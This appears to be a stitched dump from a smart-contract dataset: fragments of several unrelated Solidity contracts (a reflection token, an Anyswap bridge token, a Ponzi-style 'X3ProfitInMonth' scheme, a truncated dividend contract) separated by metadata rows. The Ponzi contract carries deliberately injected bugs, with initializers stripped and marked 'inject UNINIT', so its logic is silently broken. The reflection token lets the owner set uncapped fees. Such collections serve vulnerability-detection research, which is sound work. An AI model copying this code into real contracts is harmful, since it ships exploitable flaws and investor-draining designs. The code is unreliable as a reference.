emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Singularity is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Singularity';
string private constant _symbol = 'SING';
uint256 private _taxFee = 0;
uint256 private _burnFee = 0;
uint public max_tx_size = 1000000000000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xA562a8Da31eb0091DB143BeC3c48cDae231fd084, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 309,696 | 13,615 |
07e8e6764dd38c088cc0bbf8a9a3e5422b1062aea32d15bab99bd312a3ab6938
| 14,805 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/7d/7d226bff737c5855254c307523afb3c464c5680b_AnyswapV6ERC20.sol
| 3,294 | 12,942 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AnyswapV6ERC20 is IERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bool public constant underlyingIsMinted = false;
/// @dev Records amount of AnyswapV6ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// delay for timelock functions
uint public constant DELAY = 2 days;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV6ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == vault, "AnyswapV6ERC20: FORBIDDEN");
_;
}
function owner() external view returns (address) {
return vault;
}
function mpc() external view returns (address) {
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
_init = false;
vault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
}
function setVault(address _vault) external onlyVault {
require(_vault != address(0), "AnyswapV6ERC20: address(0)");
pendingVault = _vault;
delayVault = block.timestamp + DELAY;
}
function applyVault() external onlyVault {
require(pendingVault != address(0) && block.timestamp >= delayVault);
vault = pendingVault;
pendingVault = address(0);
delayVault = 0;
}
function setMinter(address _auth) external onlyVault {
require(_auth != address(0), "AnyswapV6ERC20: address(0)");
pendingMinter = _auth;
delayMinter = block.timestamp + DELAY;
}
function applyMinter() external onlyVault {
require(pendingMinter != address(0) && block.timestamp >= delayMinter);
isMinter[pendingMinter] = true;
minters.push(pendingMinter);
pendingMinter = address(0);
delayMinter = 0;
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function changeVault(address newVault) external onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV6ERC20: address(0)");
emit LogChangeVault(vault, newVault, block.timestamp);
vault = newVault;
pendingVault = address(0);
delayVault = 0;
return true;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) external onlyAuth returns (bool) {
if (underlying != address(0) && IERC20(underlying).balanceOf(address(this)) >= amount) {
IERC20(underlying).safeTransfer(account, amount);
} else {
_mint(account, amount);
}
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) external returns (bool) {
require(!_vaultOnly, "AnyswapV6ERC20: vaultOnly");
require(bindaddr != address(0), "AnyswapV6ERC20: address(0)");
if (underlying != address(0) && balanceOf[msg.sender] < amount) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
} else {
_burn(msg.sender, amount);
}
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
underlying = _underlying;
if (_underlying != address(0)) {
require(_decimals == IERC20(_underlying).decimals());
}
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
}
/// @dev Returns the total supply of AnyswapV6ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function deposit() external returns (uint) {
uint _amount = IERC20(underlying).balanceOf(msg.sender);
IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount);
return _deposit(_amount, msg.sender);
}
function deposit(uint amount) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, msg.sender);
}
function deposit(uint amount, address to) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, to);
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
return _deposit(amount, to);
}
function _deposit(uint amount, address to) internal returns (uint) {
require(!underlyingIsMinted);
require(underlying != address(0) && underlying != address(this));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender);
}
function withdraw(uint amount) external returns (uint) {
return _withdraw(msg.sender, amount, msg.sender);
}
function withdraw(uint amount, address to) external returns (uint) {
return _withdraw(msg.sender, amount, to);
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
return _withdraw(from, amount, to);
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
require(!underlyingIsMinted);
require(underlying != address(0) && underlying != address(this));
_burn(from, amount);
IERC20(underlying).safeTransfer(to, amount);
return amount;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
uint256 balance = balanceOf[account];
require(balance >= amount, "ERC20: burn amount exceeds balance");
balanceOf[account] = balance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV6ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Moves `value` AnyswapV6ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV6ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) && to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV6ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV6ERC20 token.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) && to != address(this));
if (from != msg.sender) {
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV6ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV6ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
}
| 310,339 | 13,616 |
3fdbd3df064e378134d918a587662396ea568ebaa75025758b0b810851c4ca19
| 15,000 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/uninitializedLocalVariables/0xf6e7ea2e29e64f62b667d5c6e0cf65ebb5ab5b5d_uninitializedLocalStateVariables.sol
| 3,334 | 13,148 |
pragma solidity ^0.5.1;
contract X3ProfitInMonthV3 {
struct Investor {
// Restart iteration index
int iteration;
// array containing information about beneficiaries
uint deposit;
// sum locked to remove in predstart period, gived by contract for
// compensation of previous iteration restart
uint lockedDeposit;
//array containing information about the time of payment
uint time;
//array containing information on interest paid
uint withdrawn;
//array containing information on interest paid (without tax)
uint withdrawnPure;
// Vote system for start iteration
bool isVoteProfit;
// Vote system for restart iteration
bool isVoteRestart;
// Default at any deposit we debt to user
bool isWeHaveDebt;
}
mapping(address => Investor) public investors;
//fund to transfer percent for MAIN OUR CONTRACT EasyInvestForeverProtected2
address payable public constant ADDRESS_MAIN_FUND = 0x3Bd33FF04e1F2BF01C8BF15C395D607100b7E116;
address payable public constant ADDRESS_ADMIN = 0x6249046Af9FB588bb4E70e62d9403DD69239bdF5;
//time through which you can take dividends
uint private constant TIME_QUANT = 1 days;
//start percent 10% per day
uint private constant PERCENT_DAY = 10;
uint private constant PERCENT_DECREASE_PER_ITERATION = 1;
uint private constant PERCENT_DECREASE_MINIMUM = 1;
//Adv tax for withdrawal 10%
uint private constant PERCENT_MAIN_FUND = 10;
//All percent should be divided by this
uint private constant PERCENT_DIVIDER = 100;
uint public countOfInvestors ; //inject UNINIT LOCAL/STATE VAR
uint public countOfAdvTax ; //inject UNINIT LOCAL/STATE VAR
uint public countStartVoices ; //inject UNINIT LOCAL/STATE VAR
uint public countReStartVoices ; //inject UNINIT LOCAL/STATE VAR
int public iterationIndex ; //inject UNINIT LOCAL/STATE VAR
int private undoDecreaseIteration ; //inject UNINIT LOCAL/STATE VAR
uint public countOfReturnDebt ; //inject UNINIT LOCAL/STATE VAR
uint public amountDebt ; //inject UNINIT LOCAL/STATE VAR
uint public amountReturnDebt ; //inject UNINIT LOCAL/STATE VAR
uint public amountOfCharity ; //inject UNINIT LOCAL/STATE VAR
// max contract balance in ether for overflow protection in calculations only
// 340 quintillion 282 quadrillion 366 trillion 920 billion 938 million 463 thousand 463
uint public constant maxBalance = 340282366920938463463374607431768211456 wei; //(2^128)
uint public constant maxDeposit = maxBalance / 1000;
// X3 Mode status
bool public isProfitStarted ; //inject UNINIT LOCAL/STATE VAR
bool public isContractSealed ; //inject UNINIT LOCAL/STATE VAR
modifier isUserExists() {
require(investors[msg.sender].iteration == iterationIndex, "Deposit not found");
_;
}
modifier timePayment() {
require(isContractSealed || now >= investors[msg.sender].time + TIME_QUANT, "Too fast payout request");
_;
}
//return of interest on the deposit
function collectPercent() isUserExists timePayment internal {
uint payout ; //inject UNINIT LOCAL/STATE VAR
_payout(msg.sender, payout, false);
}
function dailyPercent() public view returns(uint) {
uint percent ; //inject UNINIT LOCAL/STATE VAR
int delta ; //inject UNINIT LOCAL/STATE VAR
if (delta > iterationIndex) delta = iterationIndex;
uint decrease ; //inject UNINIT LOCAL/STATE VAR
if(decrease > percent - PERCENT_DECREASE_MINIMUM)
decrease = percent - PERCENT_DECREASE_MINIMUM;
percent -= decrease;
return percent;
}
//calculate the amount available for withdrawal on deposit
function payoutAmount(address addr) public view returns(uint) {
Investor storage inv = investors[addr];
if(inv.iteration != iterationIndex)
return 0;
if (isContractSealed)
{
if(inv.withdrawnPure >= inv.deposit) {
uint delta ; //inject UNINIT LOCAL/STATE VAR
if(amountReturnDebt < amountDebt) delta = amountDebt - amountReturnDebt;
// Sealed contract must transfer funds despite of complete debt payed
if(address(this).balance > delta)
return address(this).balance - delta;
return 0;
}
uint amount ; //inject UNINIT LOCAL/STATE VAR
return PERCENT_DIVIDER * amount / (PERCENT_DIVIDER - PERCENT_MAIN_FUND) + 1;
}
uint varTime ; //inject UNINIT LOCAL/STATE VAR
uint varNow ; //inject UNINIT LOCAL/STATE VAR
if(varTime > varNow) varTime = varNow;
uint percent ; //inject UNINIT LOCAL/STATE VAR
uint rate ; //inject UNINIT LOCAL/STATE VAR
uint fraction ; //inject UNINIT LOCAL/STATE VAR
uint interestRate ; //inject UNINIT LOCAL/STATE VAR
uint withdrawalAmount ; //inject UNINIT LOCAL/STATE VAR
if(interestRate < fraction) withdrawalAmount = 0;
return withdrawalAmount;
}
//make a deposit
function makeDeposit() private {
if (msg.value > 0.000000001 ether) {
Investor storage inv = investors[msg.sender];
if (inv.iteration != iterationIndex) {
inv.iteration = iterationIndex;
countOfInvestors ++;
if(inv.deposit > inv.withdrawnPure)
inv.deposit -= inv.withdrawnPure;
else
inv.deposit = 0;
if(inv.deposit + msg.value > maxDeposit)
inv.deposit = maxDeposit - msg.value;
inv.withdrawn = 0;
inv.withdrawnPure = 0;
inv.time = now;
inv.lockedDeposit = inv.deposit;
amountDebt += inv.lockedDeposit;
inv.isVoteProfit = false;
inv.isVoteRestart = false;
inv.isWeHaveDebt = true;
}
if (!isContractSealed && now >= inv.time + TIME_QUANT) {
collectPercent();
}
if (!inv.isWeHaveDebt)
{
inv.isWeHaveDebt = true;
countOfReturnDebt--;
amountReturnDebt -= inv.deposit;
}
inv.deposit += msg.value;
amountDebt += msg.value;
} else {
collectPercent();
}
}
//return of deposit balance
function returnDeposit() isUserExists private {
if(isContractSealed)return;
Investor storage inv = investors[msg.sender];
uint withdrawalAmount ; //inject UNINIT LOCAL/STATE VAR
uint activDep ; //inject UNINIT LOCAL/STATE VAR
if(activDep > inv.withdrawn)
withdrawalAmount = activDep - inv.withdrawn;
if(withdrawalAmount > address(this).balance){
withdrawalAmount = address(this).balance;
}
//Pay the rest of deposit and take taxes
_payout(msg.sender, withdrawalAmount, true);
//delete user record
_delete(msg.sender);
}
function charityToContract() external payable {
amountOfCharity += msg.value;
}
function() external payable {
if(msg.data.length > 0){
amountOfCharity += msg.value;
return;
}
require(msg.value <= maxDeposit, "Deposit overflow");
//refund of remaining funds when transferring to a contract 0.00000112 ether
Investor storage inv = investors[msg.sender];
if (!isContractSealed &&
msg.value == 0.00000112 ether && inv.iteration == iterationIndex) {
inv.deposit += msg.value;
if(inv.deposit > maxDeposit) inv.deposit = maxDeposit;
returnDeposit();
} else {
//start/restart X3 Mode on 0.00000111 ether / 0.00000101 ether
if ((!isContractSealed &&
(msg.value == 0.00000111 ether || msg.value == 0.00000101 ether)) ||
(msg.value == 0.00000102 ether&&msg.sender == ADDRESS_ADMIN))
{
if(inv.iteration != iterationIndex)
makeDeposit();
else
inv.deposit += msg.value;
if(inv.deposit > maxDeposit) inv.deposit = maxDeposit;
if(msg.value == 0.00000102 ether){
isContractSealed = !isContractSealed;
if (!isContractSealed)
{
undoDecreaseIteration++;
restart();
}
}
else
if(msg.value == 0.00000101 ether)
{
if(!inv.isVoteRestart)
{
countReStartVoices++;
inv.isVoteRestart = true;
}
else{
countReStartVoices--;
inv.isVoteRestart = false;
}
if((countReStartVoices > 10 &&
countReStartVoices > countOfInvestors / 2) ||
msg.sender == ADDRESS_ADMIN)
{
undoDecreaseIteration++;
restart();
}
}
else
if(!isProfitStarted)
{
if(!inv.isVoteProfit)
{
countStartVoices++;
inv.isVoteProfit = true;
}
else{
countStartVoices--;
inv.isVoteProfit = false;
}
if((countStartVoices > 10 &&
countStartVoices > countOfInvestors / 2) ||
msg.sender == ADDRESS_ADMIN)
start(msg.sender);
}
}
else
{
require(msg.value > 0.000000001 ether ||
address(this).balance <= maxBalance,
"Contract balance overflow");
makeDeposit();
require(inv.deposit <= maxDeposit, "Deposit overflow");
}
}
}
function start(address payable addr) private {
if (isContractSealed) return;
isProfitStarted = true;
uint payout ; //inject UNINIT LOCAL/STATE VAR
_payout(ADDRESS_ADMIN, payout, false);
if(addr != ADDRESS_ADMIN){
payout = payoutAmount(addr);
_payout(addr, payout, false);
}
}
function restart() private {
if (isContractSealed) return;
if(dailyPercent() == PERCENT_DECREASE_MINIMUM)
{
isContractSealed = true;
return;
}
countOfInvestors = 0;
iterationIndex++;
countStartVoices = 0;
countReStartVoices = 0;
isProfitStarted = false;
amountDebt = 0;
amountReturnDebt = 0;
countOfReturnDebt = 0;
}
//Pays out, takes taxes according to holding time
function _payout(address payable addr, uint amount, bool retDep) private {
if(amount == 0)
return;
if(amount > address(this).balance) amount = address(this).balance;
if(amount == 0){
restart();
return;
}
Investor storage inv = investors[addr];
//Calculate pure payout that user receives
uint activDep ; //inject UNINIT LOCAL/STATE VAR
bool isDeleteNeed ; //inject UNINIT LOCAL/STATE VAR
if(!isContractSealed && !retDep && !isProfitStarted && amount + inv.withdrawn > activDep / 2)
{
if(inv.withdrawn < activDep / 2)
amount = (activDep/2) - inv.withdrawn;
else{
if(inv.withdrawn >= activDep)
{
_delete(addr);
return;
}
amount = activDep - inv.withdrawn;
isDeleteNeed = true;
}
}
uint interestPure ; //inject UNINIT LOCAL/STATE VAR
//calculate money to charity
uint advTax ; //inject UNINIT LOCAL/STATE VAR
inv.withdrawnPure += interestPure;
inv.withdrawn += amount;
inv.time = now;
//send money
if(advTax > 0)
{
(bool success, bytes memory data) = ADDRESS_MAIN_FUND.call.value(advTax)("");
if(success)
countOfAdvTax += advTax;
else
inv.withdrawn -= advTax;
}
if(interestPure > 0) addr.transfer(interestPure);
if(inv.isWeHaveDebt && inv.withdrawnPure >= inv.deposit)
{
amountReturnDebt += inv.deposit;
countOfReturnDebt++;
inv.isWeHaveDebt = false;
}
if(isDeleteNeed)
_delete(addr);
if(address(this).balance == 0)
restart();
}
//Clears user from registry
function _delete(address addr) private {
Investor storage inv = investors[addr];
if(inv.iteration != iterationIndex)
return;
amountDebt -= inv.deposit;
if(!inv.isWeHaveDebt){
countOfReturnDebt--;
amountReturnDebt-=inv.deposit;
inv.isWeHaveDebt = true;
}
inv.iteration = -1;
countOfInvestors--;
}
}
| 279,478 | 13,617 |
3dc8e676efae5bdb568794f386bb43eb86ddc38f6f0b76aad0fc0d4dfea491b1
| 14,890 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x2a5eba587ac7c1153c22b5f75874b75233442749.sol
| 3,470 | 12,319 |
pragma solidity ^0.4.25;
contract BetterDivs {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
